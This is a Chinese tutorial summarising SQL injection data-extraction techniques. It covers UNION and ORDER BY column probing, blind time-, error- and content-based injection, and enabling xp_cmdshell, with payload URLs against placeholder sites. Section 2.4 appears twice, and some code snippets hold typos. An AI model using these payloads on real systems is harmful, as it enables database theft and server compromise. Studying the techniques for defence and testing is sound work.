利用 SQL 注入提取数据方法总结

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS SQL Server,基础系列 2核4GB
云数据库 RDS PostgreSQL,高可用系列 2核4GB
简介: 利用 SQL 注入提取数据方法总结

一、使用 UNION 语句提取数据

在 SQL 注入攻击中,UNION 运算符的潜在价值非常明显:如果应用程序返回了第一个(原始)查询得到的所有数据,那么通过在第一个查询后面注入一个 UNION 运算符,并添加另外一个任意查询,便可以读取到数据库用户访问过的任何一张表。

1.1 匹配列

要想 UNION 操作符正确工作,需满足下列要求:

1. 两个查询返回的列数必须相同。

2. 两个 SELECT 语句对应列所返回的数据类型必须相同(或至少是兼容的)。

如果无法满足上述两个约束条件,查询便会失败并返回一个错误。

当然,具体是什么错误消息则取决于后台所使用的数据库服务器技术。

此列出了当 UNION 查询包含错误的列数时一些主流数据库服务器返回的错误消息。

数据库 返回错误消息

Micrsoft SQL

 ServerAll queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists

MySQL The used SELECT statements have a different number of columns
Oracle ORA-01789:query block has incorrect number of result columns
Postgre SQL ERROR: Each UNION query must have the same number of columns

错误消息中并未提供任何与所需要列数相关的线索,因而要想得到正确的列数,唯一的方法就是反复试验。

第一种方法是将第二条查询注入多次,每次逐渐增大列数直到查询正确执行。

假设有一个简单的Web应用程序,它接受一个用户ID作为输入,并从数据库中检索该用户的信息。该应用程序的SQL查询可能如下所示:

SELECT * FROM users WHERE id = '$userId';


这里的$userId是从用户输入中获取的变量。如果应用程序没有对用户输入进行适当的验证和转义,攻击者就可以构造恶意的输入来执行SQL注入攻击

例如,攻击者可以输入以下值作为用户ID:

' UNION SELECT column1, column2, ... FROM another_table --

这将导致原始的SQL查询变成:

SELECT * FROM users WHERE id = '1' UNION SELECT column1, column2, ... FROM another_table --';

在这里,攻击者使用了单引号来闭合原始的id值,并添加了UNION SELECT语句来从另一个表(another_table)中选择数据。--是一个SQL注释,用于忽略原始查询中的剩余部分。

获取准确列数的另一种方法是使用ORDERBY子句而非注入另外一个查询。

ORDERBY子句既可以接收一个列名作为参数,也可以接收一个简单的、能标识特定列的数字。

可以通过增大 ORDER BY 子句中代表列的数字来识别查询中的列数,假设有一个目标URL:

http://www.example.com/vuln.php?id=1

注入点位于id参数处,我们可以尝试使用order by语句来确定查询结果的列数。

在id参数后面加上order by子句,并逐渐增加列数,直到出现错误或注入成功为止。例如:

http://www.example.com/vuln.php?id=1 order by 1:// 如果页面正常加载,说明查询结果至少有1列。
http://www.example.com/vuln.php?id=1 order by 2:// 如果页面正常加载,说明查询结果至少有2列。
http://www.example.com/vuln.php?id=1 order by 3:// 如果页面正常加载,说明查询结果至少有3列。
// ……以此类推。


1.2 匹配数据类型

识别出准确的列数后,现在是时候选择其中的一列或几列来查看一下是否是正在寻找的数据了。

前面提到过,对应列的数据类型必须是相互兼容的。

因此,如果想提取一个字符串值(例如,当前的数据库用户),那么至少需要找到一个数据类型为字符串的列以便通过它来存储正在寻找的数据。

使用NULL来实现会很容易,只需一次一列地使用示例字符串替换NULL即可。

例如,如果发现原始查询包含4列,那么应尝试下列 URL:

http://www.victim.com/products.asp?id=12+union+select+'test',NULL,NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,'test',NULL,NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,NULL,'test',NULL
http://www.victim.com/products.asp?id=12+union+select+NULL,NULL,NULL,'test',

对于无法使用 NULL 的数据库只能暴力猜测了。

只要应用程序不返回错误,即可知道刚才存储test值的列可以保存一个字符串,因而可用它来显示需要的值。

例如,如果第二列能够保存一个字符串字段(假设想获取当前用户的名称),只需请求下列 URL:

http://www.victim.com/products.asp?id=12+union+select+NULL,system_user,NULL,NULL 

如果类型不同也可以尝试转换类型,此表给出了不同数据库中将任意数据类型转换为字符串的语法

数据库 查询
Micrsoft SQL Server SELECT CAST('123' AS varchar)
MySQL SELECT CAST('123' AS char)
Oracle SELECT CAST(1 AS varchar) FROM dual
Postgre SQL SELECT CAST(123 AS text)

请注意这取决于你所提取数据的结构,并非总是需要进行类型转换。

例如,PostgreSQL允许非字符串变量使用连接字符串(||),只要有一个变量的值是字符串即可。

二、使用条件语句

我们先看一下相同的基本条件语句在此表中列出的不同数据库服务器技术间语法上的转换过程

数据库 查询
Micrsoft SQL Server IF ('a'='a') SELECT 1 ELSE SELECT 2
MySQL SELECT IF('a',1,2)
Oracle

SELECT CASE WHEN 'a'='a' THEN 1 ELSE 2

END FROM DUAL

SELECT decode(substr(user,1,1),'A',1,2)FROM DUAL

Postgre SQL SELECT CASE WHEN (1=1) THEN 'a' else 'b' END


2.1 方法一:基于时间

2.1.1 Micrsoft SQL Server

使用条件语句利用 SQL注入时,第一种可行的方法是基于 Web 应用响应时间上的差异,该时间取决于某些信息的值。

例如,对于SOLServer 而言,您最先想了解的信息是执行查询的用户是否为系统管理员账户(sa)。

很明显,这一点很重要,因为权限不同,在远程数据库上能执行的操作也会有所不同。

因此,可以注入下列查询::

IF (system_user='sa') WAITFOR DELAY '0:0:5' -- 

该查询将转换为下列 URL:

http://www.victim.com/products.asp?id=12;if+(system_user='sa')+WAITFOR+
DELAY+'0:0:5'-- 


上述请求执行了哪些操作呢?system_user 只是一个 Transact-SQL(T-SQL) 函数,它返回当前登录的用户名(例如 sa)。

该査询根据 system user的值来决定是否执行 WAITFOR (等待5秒)。

通过测试应用返回 HTML页面所花费的时间,可以确定是否为 sa 用户。

查询尾部的两个连字符用于注释掉所有可能出现在原始查询中并会干扰注入代码的无用SQL代码。

当然,只需要通过替换圆括号中的条件您就可以使用该方法来获取数据库中的任何其他信息了。

例如,想知道远程数据库的版本是否为2005?请看下列查询:

IF(substring((select @@version),25,1)=5) WAITFOR DELAY '0:0:5'-- 

我们首先选择 @@version 内置变量,在 SQLServer 2005 中,它的值类似于下列内容:

Microsoft SQL Server 2005-9.00.3042.00(ntel X86)
Feb 92007 22:47:07
Copyright(c)1988-2005 Microsoft Corporation
Standard Edition on Windows NT5.2(Build 3790:Service Pack2)

不难发现,该变量包含了数据库版本。要想了解远程数据库是否为SOLServer 2005,只需检查年份的最后一位数字即可,它刚好是@@version 变量所存放字符串的第25个字符。

如果拥有管理员权限,那么可以使用xpcdshell 扩展存储过程来产生延迟,它通过加载条需要花费特定秒数才能完成的命令来得到类似的结果。

在下面的示例中,我们ping回路(loopback)端口5秒钟:

EXEC master..xp_cmdshell 'ping-n5 127.0.0.1'

如果具有管理员访问权限,但没有启用xpcmdshell,那么在SOLServer 2005和2008中可以使用下面的命令轻松地启用它:

EXEC sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
EXEC sp_configure 'xp cmdshell', 1;

2.1.2 MySQL

例如,对于MySQL,可以使用下列查询创建一个数秒的延迟:

SELECT BENCHMARK(1000000,shal('blah'));

BENCHMARK函数将第二个参数描述的表达式执行由第一个参数指定的次数。

它通常用于测量服务器的性能,但对引入人为延迟也同样很有帮助。

在上述示例中,我们告诉数据库将字符串“blah”的哈希值计算一百万次。

如果使用的是 5.0.12版本以上的 MySQL 数据库,处理起来将更加简单:

SELECT SLEEP(5);

2.1.3 Postgre SQL

如果安装的是PostgreSQL数据库,并且版本在8.2以上,可以使用下面的命令:

SELECT pg_sleep(5);

2.1.4 Oracle

对于 Oracle 而言,可以通过使用 UTL_HTTP 或 HTTPURITYPE 向一个“死的”IP地址发送一个HTTP请求来实现相同的效果(虽然可靠性差一些)。

如果指定了一个不存在侦听者的IP地址,那么下列查询将一直等待连接直到超时:

select utl http.request('http://10.0.0.1/') from dual;
select HTTPURITYPE('http://10.0.0.1/').getclob() from dual;

还有一种使用网络计时的方法,就是使用简单的笛卡尔积(Cartesian Product)。

对 4 张表应用 count(*) 比直接返回一个数字花费的时间要长很多。

如果用户名的第一个字符为 A,那么下列查询将首先计算所有行的笛卡尔积,然后返回一个数字:

SELECT decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objects,all_objects,all_objects),0)

2.2 方法二:基于错误

我们还有其他技术可用,该技术根据我们寻找的位值来触发不同的响应。请看下列查询:

http://www.victim.com/products.asp?id=12/is_srvrolemember ('sysadmin')

is srvrolemember()是一个SOLServerT-SQL函数,它返回下列值:

1:用户属于指定的组。

2:用户不属于指定的组。

NULL:指定的组不存在。

如果当前用户不是 sysadmin 组的成员,那么 id 参数的值将为 12/0(很明显不是数字);这将导致查询失败,应用返回一个错误。

该错误还可能是一个使应用失败看起来更雅观的通用HTML页面,但最基本原理是相同的:可以根据指定位值的不同来触发不同的响应并提取位值。

2.3 方法三:基于内容

通常只需对该技术稍作修改就能避免错误的产生。例如:

http://www.victim.com/products.asp?id=12%2B(case+when+(system_user+=+'sa')
+then+1+else+0+end)

我们使用%2B替换了参数后面的“/”字符,%2B 是“+”的 URL 编码(我们不能在 URL中直接使用“+”,因为它会被解析成空格)。最终将按照下列式子为id参数赋值:

id=12+(case when (system_user='sa') then 1 else 0 end)

结果非常直观。如果执行查询的用户不是 sa,那么id=12,请求将等价于:

http://www.victim.com/products.asp?id=12

而如果执行查询的用户是 sa,那么id=13,请求将等价于:

http://www.victim.com/products.asp?id=13

该技术像基于错误的技术一样快,另外还有一个优点--不会触发错误,从而使该方法更加简练。

2.4 处理字符串

假设我们的电子商务Web 站点有这样一个功能——它允许用户检索特定品牌生产的所有商品:

http://www.victim.com/search.asp?brand=acme

2.4 处理字符串

假设我们的电子商务Web 站点有这样一个功能——它允许用户检索特定品牌生产的所有商品:

http://www.victim.com/search.asp?brand=acme

如果对 brand 参数稍作修改,那么会出现什么情况呢?

使用字母 l 替换掉 m,最终的URL将如下所示:

http://www.victim.com/search.asp?brand=acle

这个 URL 很可能会返回完全不同的结果:可能是一个空结果集,在大多数情况下也可能是其他不同的内容。

不管第二个 URL 返回怎样的结果,只要 brand 参数是可注入的,就可以很容易地使用字符串连接技术来提取数据。

我们一步一步地分析这个过程。很明显,作为参数传递的字符串可以分成两部分:

http://www.victim.com/search.asp?brand=acm'%2B'e

很明显,该查询等价于上一查询,所以最终的HTML页面不会发生变化。我们再进一步分析,将参数分成三个部分:

http://www.victim.com/search.asp?brand=ac'%2B'm'%2B'e

可以使用 char()函数来描述 T-SQL中的 m 字符,char() 函数接收一个数字作为参数并返回与其对应的 ASCII 字符。由于 m 的 ASCII 值为 109(16进制为 0x6D),因此我们可以对 URL 作进一步修改,如下所示:

http://www.victim.com/search.asp?brand=ac'%2Bchar(109)%2B'e

该查询仍然返回与前面查询相同的结果,但现在我们有了一个可操控的数字参数,所以可以很容易复制前面章节介绍的注入技术,提交下列请求:

http://www.victim.com/search.asp?brand=ac'%2Bchar(108%2B(case+when+(sys
tem_user='sa')+then+l+else+0+end)%2B'e

根据当前用户是否为sa,char()函数的参数将分别是109或108(对应返回m或1)

2.5 扩展

我们回到前面那个判断执行查询的用户的例子。

我们现在不局限于检查用户是否为sa,而是检索用户完整的名称。

首先要做的是发现用户名的长度。可使用下列查询实现该目的:

select len(system_user)


假设用户名为appdbuser,该查询返回9。要想使用条件语句提取该值,则需要执行二分查找。如果使用前面介绍的基于错误的方法,那么需要发送下列URL:

http://www.victim.com/products.asp?id=10/(case+when+(len(system_user) +>+8)+then+1+else+0+end)

既然知道了用户名的长度,接下来我们需要提取组成用户名的字符。

要完成这个任务,需要循环遍历各个字符。对于其中的每个字符,我们要针对该字符的 ASCII 码值执行二分查找。

在SOLServer中,我们可以使用下列表达式提取指定字符并计算其 ASCII 码值:

ascii(substring((selectsystem_user)1,1))

该表达式检索 system_user 的值,从第一个字符开始提取子串,子串长度刚好为一个字符,并计算其十进制的 ASCII 码值。


相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://www.aliyun.com/product/rds/mysql 
相关文章
|
SQL 供应链 安全
泛微E-Cology ofsLogin任意用户登陆漏洞
泛微e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
1124 1
泛微E-Cology ofsLogin任意用户登陆漏洞
|
9月前
|
Unix Linux 虚拟化
VMware Workstation 17.6.2 发布下载,现在完全免费无论个人还是商业用途
VMware Workstation 17.6.2 发布下载,现在完全免费无论个人还是商业用途
43425 16
VMware Workstation 17.6.2 发布下载,现在完全免费无论个人还是商业用途
|
安全 大数据 测试技术
Mongodb亿级数据量的性能测试比较完整收藏一下
原文地址:http://www.cnblogs.com/lovecindywang/archive/2011/03/02/1969324.html 进行了一下Mongodb亿级数据量的性能测试,分别测试如下几个项目: (所有插入都是单线程进行,所有读取都是多线程进行) 1) 普通插入性能 (插...
4362 0
|
监控 安全 网络安全
中间人攻击之SSL剥离
【8月更文挑战第12天】
502 1
|
9月前
|
存储 NoSQL 固态存储
阿里云服务器云盘选择参考,ESSD Entry云盘和Entry云盘区别
在我们选择阿里云服务器系统盘和数据盘的时候,有部分云服务器同时支持ESSD Entry云盘和ESSD云盘,对于部分初次接触阿里云服务器的用户来说,可能并不是很清楚他们之间的区别,因此不知道选择哪种更好更能满足自己场景的需求,本文为大家介绍一下阿里云服务器ESSD Entry云盘和ESSD云盘的区别及选择参考。
|
11月前
|
SQL 人工智能 安全
【灵码助力安全1】——利用通义灵码辅助快速代码审计的最佳实践
本文介绍了作者在数据安全比赛中遇到的一个开源框架的代码审计过程。作者使用了多种工具,特别是“通义灵码”,帮助发现了多个高危漏洞,包括路径遍历、文件上传、目录删除、SQL注入和XSS漏洞。文章详细描述了如何利用这些工具进行漏洞定位和验证,并分享了使用“通义灵码”的心得和体验。最后,作者总结了AI在代码审计中的优势和不足,并展望了未来的发展方向。
|
存储 缓存 JSON
详解HTTP四种请求:POST、GET、DELETE、PUT
【4月更文挑战第3天】
63976 3
详解HTTP四种请求:POST、GET、DELETE、PUT
|
消息中间件 中间件 Kafka
中间件解耦与松耦合
【6月更文挑战第19天】
312 3
|
监控 网络协议 Linux
在Linux中,如何实时监控网络流量?
在Linux中,如何实时监控网络流量?
|
安全 Unix Linux
LD_PRELOAD劫持(超详细篇)
LD_PRELOAD劫持(超详细篇)
1243 0

热门文章

最新文章